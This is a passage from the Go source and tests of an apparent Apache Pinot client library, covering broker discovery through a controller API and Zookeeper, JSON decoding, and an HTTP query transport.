TestUpdateBrokerDataHTTPError(t *testing.T) { 139 | s := &controllerBasedSelector{ 140 | config: &ControllerConfig{ 141 | ControllerAddress: "localhost:9000", 142 | }, 143 | client: &MockHTTPClientFailure{ 144 | err: errors.New("http error"), 145 | }, 146 | } 147 | s.allBrokerList = []string{"broker1:8000", "broker2:8000"} 148 | s.tableBrokerMap = map[string]([]string){ 149 | "table1": { 150 | "broker1:8000", 151 | "broker2:8000", 152 | }, 153 | } 154 | err := s.updateBrokerData() 155 | assert.NotNil(t, err) 156 | assert.True(t, strings.Contains(err.Error(), "http error")) 157 | assert.ElementsMatch(t, s.allBrokerList, []string{"broker1:8000", "broker2:8000"}) 158 | assert.True(t, reflect.DeepEqual(s.tableBrokerMap, map[string]([]string){ 159 | "table1": { 160 | "broker1:8000", 161 | "broker2:8000", 162 | }, 163 | })) 164 | } 165 | 166 | func TestUpdateBrokerDataDecodeError(t *testing.T) { 167 | s := &controllerBasedSelector{ 168 | config: &ControllerConfig{ 169 | ControllerAddress: "localhost:9000", 170 | }, 171 | client: &MockHTTPClientSuccess{ 172 | statusCode: 200, 173 | body: io.NopCloser(strings.NewReader("{not a valid json")), 174 | }, 175 | } 176 | err := s.updateBrokerData() 177 | assert.NotNil(t, err) 178 | assert.True(t, strings.Contains(err.Error(), "decoding controller API response")) 179 | } 180 | 181 | type errReader int 182 | 183 | func (errReader) Read(_ []byte) (n int, err error) { 184 | return 0, errors.New("test read error") 185 | } 186 | 187 | func (errReader) Close() error { 188 | return nil 189 | } 190 | 191 | func TestUpdateBrokerDataResponseReadError(t *testing.T) { 192 | s := &controllerBasedSelector{ 193 | config: &ControllerConfig{ 194 | ControllerAddress: "localhost:9000", 195 | }, 196 | client: &MockHTTPClientSuccess{ 197 | statusCode: 200, 198 | body: errReader(0), 199 | }, 200 | } 201 | err := s.updateBrokerData() 202 | assert.NotNil(t, err) 203 | assert.True(t, strings.Contains(err.Error(), "reading controller API response")) 204 | } 205 | 206 | func TestUpdateBrokerDataUnexpectedHTTPStatus(t *testing.T) { 207 | s := &controllerBasedSelector{ 208 | config: &ControllerConfig{ 209 | ControllerAddress: "localhost:9000", 210 | }, 211 | client: &MockHTTPClientSuccess{ 212 | statusCode: 500, 213 | body: io.NopCloser(strings.NewReader("{}")), 214 | }, 215 | } 216 | err := s.updateBrokerData() 217 | assert.NotNil(t, err) 218 | fmt.Println(err.Error()) 219 | assert.True(t, strings.Contains(err.Error(), "returned HTTP status code 500")) 220 | } 221 | -------------------------------------------------------------------------------- /pinot/controllerResponse.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "strconv" 5 | "strings" 6 | ) 7 | 8 | type brokerDto struct { 9 | Host string `json:"host"` 10 | InstanceName string `json:"instanceName"` 11 | Port int `json:"port"` 12 | } 13 | 14 | type controllerResponse map[string]([]brokerDto) 15 | 16 | func (b *brokerDto) extractBrokerName() string { 17 | return strings.Join([]string{b.Host, strconv.Itoa(b.Port)}, ":") 18 | } 19 | 20 | func (r *controllerResponse) extractBrokerList() []string { 21 | brokerSet := map[string]struct{}{} 22 | for _, brokers := range *r { 23 | for _, broker := range brokers { 24 | brokerSet[broker.extractBrokerName()] = struct{}{} 25 | } 26 | } 27 | brokerList := make([]string, 0, len(brokerSet)) 28 | 29 | for key := range brokerSet { 30 | brokerList = append(brokerList, key) 31 | } 32 | return brokerList 33 | } 34 | 35 | func (r *controllerResponse) extractTableToBrokerMap() map[string]([]string) { 36 | tableToBrokerMap := make(map[string]([]string)) 37 | for table, brokers := range *r { 38 | brokersPerTable := make([]string, 0, len(brokers)) 39 | for _, broker := range brokers { 40 | brokersPerTable = append(brokersPerTable, broker.extractBrokerName()) 41 | } 42 | tableToBrokerMap[table] = brokersPerTable 43 | } 44 | return tableToBrokerMap 45 | } 46 | -------------------------------------------------------------------------------- /pinot/controllerResponse_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "reflect" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | ) 9 | 10 | func TestExtractBrokerName(t *testing.T) { 11 | b := &brokerDto{ 12 | Port: 8000, 13 | Host: "testHost", 14 | InstanceName: "Broker_testHost_8000", 15 | } 16 | name := b.extractBrokerName() 17 | assert.Equal(t, "testHost:8000", name) 18 | } 19 | 20 | func TestExtractBrokerList(t *testing.T) { 21 | r := &controllerResponse{ 22 | "table1": { 23 | { 24 | 25 | Port: 8000, 26 | Host: "testHost1", 27 | InstanceName: "Broker_testHost1_8000", 28 | }, 29 | { 30 | 31 | Port: 8000, 32 | Host: "testHost2", 33 | InstanceName: "Broker_testHost2_8000", 34 | }, 35 | }, 36 | "table2": { 37 | { 38 | 39 | Port: 8000, 40 | Host: "testHost2", 41 | InstanceName: "Broker_testHost2_8000", 42 | }, 43 | { 44 | 45 | Port: 8123, 46 | Host: "testHost3", 47 | InstanceName: "Broker_testHost3_8123", 48 | }, 49 | }, 50 | } 51 | brokerList := r.extractBrokerList() 52 | assert.ElementsMatch( 53 | t, 54 | []string{"testHost1:8000", "testHost2:8000", "testHost3:8123"}, 55 | brokerList, 56 | ) 57 | } 58 | 59 | func TestExtractBrokerListEmpty(t *testing.T) { 60 | r := &controllerResponse{} 61 | brokerList := r.extractBrokerList() 62 | assert.Len(t, brokerList, 0) 63 | } 64 | 65 | func TestExtractTableToBrokerMap(t *testing.T) { 66 | r := &controllerResponse{ 67 | "table1": { 68 | { 69 | 70 | Port: 8000, 71 | Host: "testHost1", 72 | InstanceName: "Broker_testHost1_8000", 73 | }, 74 | { 75 | 76 | Port: 8000, 77 | Host: "testHost2", 78 | InstanceName: "Broker_testHost2_8000", 79 | }, 80 | }, 81 | "table2": { 82 | { 83 | 84 | Port: 8000, 85 | Host: "testHost2", 86 | InstanceName: "Broker_testHost2_8000", 87 | }, 88 | { 89 | 90 | Port: 8123, 91 | Host: "testHost3", 92 | InstanceName: "Broker_testHost3_8123", 93 | }, 94 | }, 95 | } 96 | tableToBrokerMap := r.extractTableToBrokerMap() 97 | expected := map[string]([]string){ 98 | "table1": { 99 | "testHost1:8000", 100 | "testHost2:8000", 101 | }, 102 | "table2": { 103 | "testHost2:8000", 104 | "testHost3:8123", 105 | }, 106 | } 107 | assert.True(t, reflect.DeepEqual(tableToBrokerMap, expected)) 108 | } 109 | -------------------------------------------------------------------------------- /pinot/dynamicBrokerSelector.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "strconv" 7 | "strings" 8 | "time" 9 | 10 | zk "github.com/go-zookeeper/zk" 11 | 12 | log "github.com/sirupsen/logrus" 13 | ) 14 | 15 | const ( 16 | brokerExternalViewPath = "EXTERNALVIEW/brokerResource" 17 | ) 18 | 19 | // ReadZNode reads a ZNode content as bytes from Zookeeper 20 | type ReadZNode func(path string) ([]byte, error) 21 | 22 | type dynamicBrokerSelector struct { 23 | zkConfig *ZookeeperConfig 24 | zkConn *zk.Conn 25 | externalViewZnodeWatch <-chan zk.Event 26 | readZNode ReadZNode 27 | externalViewZkPath string 28 | tableAwareBrokerSelector 29 | } 30 | 31 | type externalView struct { 32 | SimpleFields map[string]string `json:"simpleFields"` 33 | MapFields map[string](map[string]string) `json:"mapFields"` 34 | ListFields map[string]([]string) `json:"listFields"` 35 | ID string `json:"id"` 36 | } 37 | 38 | func (s *dynamicBrokerSelector) init() error { 39 | var err error 40 | s.zkConn, _, err = zk.Connect(s.zkConfig.ZookeeperPath, time.Duration(s.zkConfig.SessionTimeoutSec)*time.Second) 41 | if err != nil { 42 | return fmt.Errorf("failed to connect to zookeeper: %v, error: %v", s.zkConfig.ZookeeperPath, err) 43 | } 44 | s.readZNode = func(_ string) ([]byte, error) { 45 | node, _, err2 := s.zkConn.Get(s.externalViewZkPath) 46 | if err2 != nil { 47 | return nil, fmt.Errorf("failed to read zk: %s, ExternalView path: %s, error: %v", s.zkConfig.ZookeeperPath, s.externalViewZkPath, err2) 48 | } 49 | return node, nil 50 | } 51 | s.externalViewZkPath = s.zkConfig.PathPrefix + "/" + brokerExternalViewPath 52 | _, _, s.externalViewZnodeWatch, err = s.zkConn.GetW(s.externalViewZkPath) 53 | if err != nil { 54 | return fmt.Errorf("failed to set a watcher on ExternalView path: %s, error: %v", strings.Join(append(s.zkConfig.ZookeeperPath, s.externalViewZkPath), ""), err) 55 | } 56 | if err = s.refreshExternalView(); err != nil { 57 | return err 58 | } 59 | go s.setupWatcher() 60 | return nil 61 | } 62 | 63 | func (s *dynamicBrokerSelector) setupWatcher() { 64 | for { 65 | ev := <-s.externalViewZnodeWatch 66 | if ev.Err != nil { 67 | log.Error("GetW watcher error", ev.Err) 68 | } else if ev.Type == zk.EventNodeDataChanged { 69 | if err := s.refreshExternalView(); err != nil { 70 | log.Errorf("Failed to refresh ExternalView, Error: %v\n", err) 71 | } 72 | } 73 | time.Sleep(100 * time.Millisecond) 74 | } 75 | } 76 | 77 | func (s *dynamicBrokerSelector) refreshExternalView() error { 78 | if s.readZNode == nil { 79 | return fmt.Errorf("No method defined to read from a ZNode") 80 | } 81 | node, err := s.readZNode(s.externalViewZkPath) 82 | if err != nil { 83 | return err 84 | } 85 | ev, err := getExternalView(node) 86 | if err != nil { 87 | return err 88 | } 89 | newTableBrokerMap, newAllBrokerList := generateNewBrokerMappingExternalView(ev) 90 | s.rwMux.Lock() 91 | s.tableBrokerMap = newTableBrokerMap 92 | s.allBrokerList = newAllBrokerList 93 | s.rwMux.Unlock() 94 | return nil 95 | } 96 | 97 | func getExternalView(evBytes []byte) (*externalView, error) { 98 | var ev externalView 99 | if err := json.Unmarshal(evBytes, &ev); err != nil { 100 | return nil, fmt.Errorf("failed to unmarshal ExternalView: %s, Error: %v", evBytes, err) 101 | } 102 | return &ev, nil 103 | } 104 | 105 | func generateNewBrokerMappingExternalView(ev *externalView) (map[string]([]string), []string) { 106 | tableBrokerMap := map[string]([]string){} 107 | allBrokerList := []string{} 108 | for table, brokerMapping := range ev.MapFields { 109 | tableName := extractTableName(table) 110 | tableBrokerMap[tableName] = extractBrokers(brokerMapping) 111 | allBrokerList = append(allBrokerList, tableBrokerMap[tableName]...) 112 | } 113 | return tableBrokerMap, allBrokerList 114 | } 115 | 116 | func extractBrokers(brokerMap map[string]string) []string { 117 | brokerList := []string{} 118 | for brokerName, status := range brokerMap { 119 | if status == "ONLINE" { 120 | host, port, err := extractBrokerHostPort(brokerName) 121 | if err == nil { 122 | brokerList = append(brokerList, strings.Join([]string{host, port}, ":")) 123 | } 124 | } 125 | } 126 | return brokerList 127 | } 128 | 129 | func extractBrokerHostPort(brokerKey string) (string, string, error) { 130 | splits := strings.Split(brokerKey, "_") 131 | if len(splits) < 2 { 132 | return "", "", fmt.Errorf("invalid Broker Key: %s, should be in the format of Broker_[hostname]_[port]", brokerKey) 133 | } 134 | _, err := strconv.Atoi(splits[len(splits)-1]) 135 | if err != nil { 136 | return "", "", fmt.Errorf("failed to parse broker port:%s to integer, Error: %v", splits[len(splits)-1], err) 137 | } 138 | return splits[len(splits)-2], splits[len(splits)-1], nil 139 | } 140 | -------------------------------------------------------------------------------- /pinot/dynamicBrokerSelector_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | "time" 7 | 8 | zk "github.com/go-zookeeper/zk" 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func TestExtractBrokers(t *testing.T) { 13 | brokers := extractBrokers(map[string]string{ 14 | "BROKER_broker-1_1000": "ONLINE", 15 | "BROKER_broker-2_1000": "ONLINE", 16 | }) 17 | assert.Equal(t, 2, len(brokers)) 18 | assert.True(t, brokers[0] == "broker-1:1000" || brokers[0] == "broker-2:1000") 19 | assert.True(t, brokers[1] == "broker-1:1000" || brokers[1] == "broker-2:1000") 20 | } 21 | 22 | func TestExtractBrokerHostPort(t *testing.T) { 23 | host, port, err := extractBrokerHostPort("BROKER_broker-1_1000") 24 | assert.Equal(t, "broker-1", host) 25 | assert.Equal(t, "1000", port) 26 | assert.Nil(t, err) 27 | _, _, err = extractBrokerHostPort("broker-1:1000") 28 | assert.NotNil(t, err) 29 | _, _, err = extractBrokerHostPort("BROKER_broker-1_aaa") 30 | assert.NotNil(t, err) 31 | } 32 | 33 | func TestErrorInit(t *testing.T) { 34 | selector := &dynamicBrokerSelector{ 35 | tableAwareBrokerSelector: tableAwareBrokerSelector{ 36 | tableBrokerMap: map[string][]string{"myTable": {}}, 37 | }, 38 | zkConfig: &ZookeeperConfig{ 39 | ZookeeperPath: []string{}, 40 | }, 41 | } 42 | err := selector.init() 43 | assert.NotNil(t, err) 44 | } 45 | 46 | func TestErrorRefreshExternalView(t *testing.T) { 47 | selector := &dynamicBrokerSelector{ 48 | tableAwareBrokerSelector: tableAwareBrokerSelector{ 49 | tableBrokerMap: map[string][]string{"myTable": {}}, 50 | }, 51 | zkConfig: &ZookeeperConfig{ 52 | ZookeeperPath: []string{}, 53 | }, 54 | } 55 | err := selector.refreshExternalView() 56 | assert.NotNil(t, err) 57 | } 58 | 59 | func TestExternalViewUpdate(t *testing.T) { 60 | evBytes := []byte(`{"id":"brokerResource","simpleFields":{"BATCH_MESSAGE_MODE":"false","BUCKET_SIZE":"0","IDEAL_STATE_MODE":"CUSTOMIZED","NUM_PARTITIONS":"1","REBALANCE_MODE":"CUSTOMIZED","REPLICAS":"0","STATE_MODEL_DEF_REF":"BrokerResourceOnlineOfflineStateModel","STATE_MODEL_FACTORY_NAME":"DEFAULT"},"mapFields":{"baseballStats_OFFLINE":{"Broker_127.0.0.1_8000":"ONLINE", "Broker_127.0.0.1_9000":"ONLINE"}},"listFields":{}}`) 61 | ev, err := getExternalView(evBytes) 62 | assert.NotNil(t, ev) 63 | assert.Nil(t, err) 64 | assert.Equal(t, "brokerResource", ev.ID) 65 | assert.Equal(t, "false", ev.SimpleFields["BATCH_MESSAGE_MODE"]) 66 | assert.Equal(t, 2, len(ev.MapFields["baseballStats_OFFLINE"])) 67 | assert.Equal(t, "ONLINE", ev.MapFields["baseballStats_OFFLINE"]["Broker_127.0.0.1_8000"]) 68 | 69 | tableBrokerMap, allBrokerList := generateNewBrokerMappingExternalView(ev) 70 | assert.Equal(t, 1, len(tableBrokerMap)) 71 | assert.Equal(t, 2, len(tableBrokerMap["baseballStats"])) 72 | for i := 0; i < 2; i++ { 73 | assert.True(t, tableBrokerMap["baseballStats"][i] == "127.0.0.1:8000" || tableBrokerMap["baseballStats"][i] == "127.0.0.1:9000") 74 | } 75 | assert.Equal(t, 2, len(allBrokerList)) 76 | for i := 0; i < 2; i++ { 77 | assert.True(t, allBrokerList[i] == "127.0.0.1:8000" || allBrokerList[i] == "127.0.0.1:9000") 78 | } 79 | } 80 | 81 | func TestErrorExternalViewUpdate(t *testing.T) { 82 | ev, err := getExternalView([]byte(`random`)) 83 | assert.Nil(t, ev) 84 | assert.NotNil(t, err) 85 | } 86 | 87 | func TestMockReadZNode(t *testing.T) { 88 | evBytes := []byte(`{"id":"brokerResource","simpleFields":{"BATCH_MESSAGE_MODE":"false","BUCKET_SIZE":"0","IDEAL_STATE_MODE":"CUSTOMIZED","NUM_PARTITIONS":"1","REBALANCE_MODE":"CUSTOMIZED","REPLICAS":"0","STATE_MODEL_DEF_REF":"BrokerResourceOnlineOfflineStateModel","STATE_MODEL_FACTORY_NAME":"DEFAULT"},"mapFields":{"baseballStats_OFFLINE":{"Broker_127.0.0.1_8000":"ONLINE", "Broker_127.0.0.1_9000":"ONLINE"}},"listFields":{}}`) 89 | selector := &dynamicBrokerSelector{ 90 | readZNode: func(_ string) ([]byte, error) { 91 | return evBytes, nil 92 | }, 93 | } 94 | err := selector.refreshExternalView() 95 | assert.Nil(t, err) 96 | assert.Equal(t, 1, len(selector.tableBrokerMap)) 97 | assert.Equal(t, 2, len(selector.tableBrokerMap["baseballStats"])) 98 | for i := 0; i < 2; i++ { 99 | assert.True(t, selector.tableBrokerMap["baseballStats"][i] == "127.0.0.1:8000" || selector.tableBrokerMap["baseballStats"][i] == "127.0.0.1:9000") 100 | } 101 | assert.Equal(t, 2, len(selector.allBrokerList)) 102 | for i := 0; i < 2; i++ { 103 | assert.True(t, selector.allBrokerList[i] == "127.0.0.1:8000" || selector.allBrokerList[i] == "127.0.0.1:9000") 104 | } 105 | 106 | evBytes = []byte(`{"id":"brokerResource","simpleFields":{"BATCH_MESSAGE_MODE":"false","BUCKET_SIZE":"0","IDEAL_STATE_MODE":"CUSTOMIZED","NUM_PARTITIONS":"1","REBALANCE_MODE":"CUSTOMIZED","REPLICAS":"0","STATE_MODEL_DEF_REF":"BrokerResourceOnlineOfflineStateModel","STATE_MODEL_FACTORY_NAME":"DEFAULT"},"mapFields":{"baseballStats_OFFLINE":{"Broker_127.0.0.1_8000":"ONLINE"}},"listFields":{}}`) 107 | err = selector.refreshExternalView() 108 | assert.Nil(t, err) 109 | assert.Equal(t, 1, len(selector.tableBrokerMap)) 110 | assert.Equal(t, 1, len(selector.tableBrokerMap["baseballStats"])) 111 | assert.True(t, selector.tableBrokerMap["baseballStats"][0] == "127.0.0.1:8000") 112 | assert.Equal(t, 1, len(selector.allBrokerList)) 113 | assert.True(t, selector.allBrokerList[0] == "127.0.0.1:8000") 114 | 115 | evBytes = []byte(`abc`) 116 | err = selector.refreshExternalView() 117 | assert.NotNil(t, err) 118 | selector.readZNode = func(_ string) ([]byte, error) { 119 | return nil, fmt.Errorf("erroReadZNode") 120 | } 121 | err = selector.refreshExternalView() 122 | assert.EqualError(t, err, "erroReadZNode") 123 | } 124 | 125 | func TestMockUpdateEvent(t *testing.T) { 126 | evBytes := []byte(`{"id":"brokerResource","simpleFields":{"BATCH_MESSAGE_MODE":"false","BUCKET_SIZE":"0","IDEAL_STATE_MODE":"CUSTOMIZED","NUM_PARTITIONS":"1","REBALANCE_MODE":"CUSTOMIZED","REPLICAS":"0","STATE_MODEL_DEF_REF":"BrokerResourceOnlineOfflineStateModel","STATE_MODEL_FACTORY_NAME":"DEFAULT"},"mapFields":{"baseballStats_OFFLINE":{"Broker_127.0.0.1_8000":"ONLINE", "Broker_127.0.0.1_9000":"ONLINE"}},"listFields":{}}`) 127 | ch := make(chan zk.Event) 128 | selector := &dynamicBrokerSelector{ 129 | readZNode: func(_ string) ([]byte, error) { 130 | return evBytes, nil 131 | }, 132 | externalViewZnodeWatch: ch, 133 | } 134 | go selector.setupWatcher() 135 | err := selector.refreshExternalView() 136 | assert.Nil(t, err) 137 | selector.rwMux.RLock() 138 | assert.Equal(t, 1, len(selector.tableBrokerMap)) 139 | assert.Equal(t, 2, len(selector.tableBrokerMap["baseballStats"])) 140 | for i := 0; i < 2; i++ { 141 | assert.True(t, selector.tableBrokerMap["baseballStats"][i] == "127.0.0.1:8000" || selector.tableBrokerMap["baseballStats"][i] == "127.0.0.1:9000") 142 | } 143 | assert.Equal(t, 2, len(selector.allBrokerList)) 144 | for i := 0; i < 2; i++ { 145 | assert.True(t, selector.allBrokerList[i] == "127.0.0.1:8000" || selector.allBrokerList[i] == "127.0.0.1:9000") 146 | } 147 | selector.rwMux.RUnlock() 148 | // Give another event 149 | evBytes = []byte(`{"id":"brokerResource","simpleFields":{"BATCH_MESSAGE_MODE":"false","BUCKET_SIZE":"0","IDEAL_STATE_MODE":"CUSTOMIZED","NUM_PARTITIONS":"1","REBALANCE_MODE":"CUSTOMIZED","REPLICAS":"0","STATE_MODEL_DEF_REF":"BrokerResourceOnlineOfflineStateModel","STATE_MODEL_FACTORY_NAME":"DEFAULT"},"mapFields":{"baseballStats_OFFLINE":{"Broker_127.0.0.1_8000":"ONLINE"}},"listFields":{}}`) 150 | ch <- zk.Event{ 151 | Type: zk.EventNodeDataChanged, 152 | } 153 | time.Sleep(300 * time.Millisecond) 154 | selector.rwMux.RLock() 155 | assert.Equal(t, 1, len(selector.tableBrokerMap)) 156 | assert.Equal(t, 1, len(selector.tableBrokerMap["baseballStats"])) 157 | assert.True(t, selector.tableBrokerMap["baseballStats"][0] == "127.0.0.1:8000") 158 | assert.Equal(t, 1, len(selector.allBrokerList)) 159 | assert.True(t, selector.allBrokerList[0] == "127.0.0.1:8000") 160 | selector.rwMux.RUnlock() 161 | 162 | evBytes = []byte(`abc`) 163 | err = selector.refreshExternalView() 164 | assert.NotNil(t, err) 165 | selector.readZNode = func(_ string) ([]byte, error) { 166 | return nil, fmt.Errorf("erroReadZNode") 167 | } 168 | err = selector.refreshExternalView() 169 | assert.EqualError(t, err, "erroReadZNode") 170 | } 171 | -------------------------------------------------------------------------------- /pinot/json.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | ) 7 | 8 | // decodeJSONWithNumber use the UseNumber option in std json, which works 9 | // by first decode number into string, then back to converted type 10 | // see implementation of json.Number in std 11 | func decodeJSONWithNumber(bodyBytes []byte, out interface{}) error { 12 | decoder := json.NewDecoder(bytes.NewReader(bodyBytes)) 13 | decoder.UseNumber() 14 | if err := decoder.Decode(out); err != nil { 15 | return err 16 | } 17 | return nil 18 | } 19 | -------------------------------------------------------------------------------- /pinot/jsonAsyncHTTPClientTransport.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "strings" 10 | 11 | log "github.com/sirupsen/logrus" 12 | ) 13 | 14 | var ( 15 | defaultHTTPHeader = map[string]string{ 16 | "Content-Type": "application/json; charset=utf-8", 17 | } 18 | ) 19 | 20 | // jsonAsyncHTTPClientTransport is the impl of clientTransport 21 | type jsonAsyncHTTPClientTransport struct { 22 | client *http.Client 23 | header map[string]string 24 | } 25 | 26 | func (t jsonAsyncHTTPClientTransport) buildQueryOptions(query *Request) string { 27 | queryOptions := "" 28 | if query.queryFormat == "sql" { 29 | queryOptions = "groupByMode=sql;responseFormat=sql" 30 | } 31 | if query.useMultistageEngine { 32 | if queryOptions != "" { 33 | queryOptions += ";" 34 | } 35 | queryOptions += "useMultistageEngine=true" 36 | } 37 | if t.client.Timeout > 0 { 38 | if queryOptions != "" { 39 | queryOptions += ";" 40 | } 41 | queryOptions += fmt.Sprintf("timeoutMs=%d", t.client.Timeout.Milliseconds()) 42 | } 43 | return queryOptions 44 | } 45 | 46 | func (t jsonAsyncHTTPClientTransport) execute(brokerAddress string, query *Request) (*BrokerResponse, error) { 47 | url := fmt.Sprintf(getQueryTemplate(query.queryFormat, brokerAddress), brokerAddress) 48 | requestJSON := map[string]string{} 49 | requestJSON[query.queryFormat] = query.query 50 | queryOptions := t.buildQueryOptions(query) 51 | if queryOptions != "" { 52 | requestJSON["queryOptions"] = queryOptions 53 | } 54 | if query.trace { 55 | requestJSON["trace"] = "true" 56 | } 57 | jsonValue, err := json.Marshal(requestJSON) 58 | if err != nil { 59 | log.Error("Unable to marshal request to JSON. ", err) 60 | return nil, err 61 | } 62 | req, err := createHTTPRequest(url, jsonValue, t.header) 63 | if err != nil { 64 | return nil, err 65 | } 66 | resp, err := t.client.Do(req) 67 | if err != nil { 68 | return nil, fmt.Errorf("got exceptions during sending request. %w", err) 69 | } 70 | defer func() { 71 | if err := resp.Body.Close(); err != nil { 72 | log.Error("Got exceptions during closing response body. ", err) 73 | } 74 | }() 75 | if resp.StatusCode == http.StatusOK { 76 | bodyBytes, err := io.ReadAll(resp.Body) 77 | if err != nil { 78 | return nil, fmt.Errorf("unable to read Pinot response. %w", err) 79 | } 80 | var brokerResponse BrokerResponse 81 | if err = decodeJSONWithNumber(bodyBytes, &brokerResponse); err != nil { 82 | return nil, fmt.Errorf("unable to unmarshal json response to a brokerResponse structure. %v", err) 83 | } 84 | return &brokerResponse, nil 85 | } 86 | return nil, fmt.Errorf("caught http exception when querying Pinot: %v", resp.Status) 87 | } 88 | 89 | func getQueryTemplate(queryFormat string, brokerAddress string) string { 90 | if queryFormat == "sql" { 91 | if strings.HasPrefix(brokerAddress, "http://") || strings.HasPrefix(brokerAddress, "https://") { 92 | return "%s/query/sql" 93 | } 94 | return "http://%s/query/sql" 95 | } 96 | if strings.HasPrefix(brokerAddress, "http://") || strings.HasPrefix(brokerAddress, "https://") { 97 | return "%s/query" 98 | } 99 | return "http://%s/query" 100 | } 101 | 102 | func createHTTPRequest(url string, jsonValue []byte, extraHeader map[string]string) (*http.Request, error) { 103 | r, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonValue)) 104 | if err != nil { 105 | return nil, fmt.Errorf("invalid HTTP request: %w", err) 106 | } 107 | for k, v := range defaultHTTPHeader { 108 | r.Header.Add(k, v) 109 | } 110 | for k, v := range extraHeader { 111 | r.Header.Add(k, v) 112 | } 113 | return r, nil 114 | } 115 | -------------------------------------------------------------------------------- /pinot/jsonAsyncHTTPClientTransport_test.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "net/http" 5 | "strings" 6 | "testing" 7 | "time" 8 | 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func TestGetQueryTemplate(t *testing.T) { 13 | assert.Equal(t, "http://%s/query/sql", getQueryTemplate("sql", "localhost:8000")) 14 | assert.Equal(t, "http://%s/query", getQueryTemplate("pql", "localhost:8000")) 15 | assert.Equal(t, "%s/query/sql", getQueryTemplate("sql", "http://localhost:8000")) 16 | assert.Equal(t, "%s/query", getQueryTemplate("pql", "http://localhost:8000")) 17 | assert.Equal(t, "%s/query/sql", getQueryTemplate("sql", "https://localhost:8000")) 18 | assert.Equal(t, "%s/query", getQueryTemplate("pql", "https://localhost:8000")) 19 | } 20 | 21 | func TestCreateHTTPRequest(t *testing.T) { 22 | r, err := createHTTPRequest("localhost:8000", []byte(`{"sql": "select * from baseballStats limit 10"}`), map[string]string{"a": "b"}) 23 | assert.Nil(t, err) 24 | assert.Equal(t, "POST", r.Method) 25 | _, err = createHTTPRequest("localhos\t:8000", []byte(`{"sql": "select * from baseballStats limit 10"}`), map[string]string{"a": "b"}) 26 | assert.NotNil(t, err) 27 | } 28 | 29 | func TestCreateHTTPRequestWithTrace(t *testing.T) { 30 | r, err := createHTTPRequest("localhost:8000", []byte(`{"sql": "select * from baseballStats limit 10", "trace": "true"}`), map[string]string{"a": "b"}) 31 | assert.Nil(t, err) 32 | assert.Equal(t, "POST", r.Method) 33 | _, err = createHTTPRequest("localhos\t:8000", []byte(`{"sql": "select * from baseballStats limit 10", "trace": "true"}`), map[string]string{"a": "b"}) 34 | assert.NotNil(t, err) 35 | } 36 | 37 | func TestJsonAsyncHTTPClientTransport(t *testing.T) { 38 | transport := &jsonAsyncHTTPClientTransport{ 39 | client: http.DefaultClient, 40 | header: map[string]string{"a": "b"}, 41 | } 42 | _, err := transport.execute("localhos\t:8000", &Request{ 43 | queryFormat: "sql", 44 | query: "select * from baseballStats limit 10", 45 | }) 46 | assert.NotNil(t, err) 47 | assert.True(t, strings.Contains(err.Error(), "parse ")) 48 | 49 | _, err = transport.execute("randomhost", &Request{ 50 | queryFormat: "sql", 51 | query: "select * from baseballStats limit 10", 52 | }) 53 | assert.NotNil(t, err) 54 | 55 | _, err = transport.execute("localhost:18000", &Request{ 56 | queryFormat: "sql", 57 | query: "select * from baseballStats limit 10", 58 | useMultistageEngine: true, 59 | }) 60 | assert.NotNil(t, err) 61 | assert.True(t, strings.Contains(err.Error(), "Post ")) 62 | } 63 | 64 | func TestBuildQueryOptions(t *testing.T) { 65 | transport := &jsonAsyncHTTPClientTransport{ 66 | client: &http.Client{ 67 | Timeout: 10 * time.Second, 68 | }, 69 | header: map[string]string{"a": "b"}, 70 | } 71 | assert.Equal(t, "groupByMode=sql;responseFormat=sql;timeoutMs=10000", transport.buildQueryOptions(&Request{ 72 | queryFormat: "sql", 73 | query: "select * from baseballStats limit 10", 74 | })) 75 | assert.Equal(t, "groupByMode=sql;responseFormat=sql;useMultistageEngine=true;timeoutMs=10000", transport.buildQueryOptions(&Request{ 76 | queryFormat: "sql", 77 | query: "select * from baseballStats limit 10", 78 | useMultistageEngine: true, 79 | })) 80 | 81 | transport = &jsonAsyncHTTPClientTransport{ 82 | client: &http.Client{}, 83 | header: map[string]string{"a": "b"}, 84 | } 85 | 86 | // should not have timeoutMs 87 | assert.Equal(t, "", transport.buildQueryOptions(&Request{ 88 | queryFormat: "pql", 89 | query: "select * from baseballStats limit 10", 90 | })) 91 | } 92 | -------------------------------------------------------------------------------- /pinot/request.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | // Request is used in server request to host multiple pinot query types, like PQL, SQL. 4 | type Request struct { 5 | queryFormat string 6 | query string 7 | trace bool 8 | useMultistageEngine bool 9 | } 10 | -------------------------------------------------------------------------------- /pinot/response.go: -------------------------------------------------------------------------------- 1 | package pinot 2 | 3 | import ( 4 | "math" 5 | 6 | "encoding/json" 7 | 8 | log "github.com/sirupsen/logrus" 9 | ) 10 | 11 | // BrokerResponse is the data structure for broker response. 12 | type BrokerResponse struct { 13 | SelectionResults *SelectionResults `json:"SelectionResults,omitempty"` 14 | ResultTable *ResultTable `json:"resultTable,omitempty"` 15 | TraceInfo map[string]string `json:"traceInfo,omitempty"` 16 | AggregationResults []*AggregationResult `json:"aggregationResults,omitempty"` 17 | Exceptions []Exception `json:"exceptions"` 18 | NumSegmentsProcessed int `json:"numSegmentsProcessed"` 19 | NumServersResponded int `json:"numServersResponded"` 20 | NumSegmentsQueried int `json:"numSegmentsQueried"` 21 | NumServersQueried int `json:"numServersQueried"` 22 | NumSegmentsMatched int `json:"numSegmentsMatched"` 23 | NumConsumingSegmentsQueried int `json:"numConsumingSegmentsQueried"` 24 | NumDocsScanned int64 `json:"numDocsScanned"` 25 | NumEntriesScannedInFilter int64 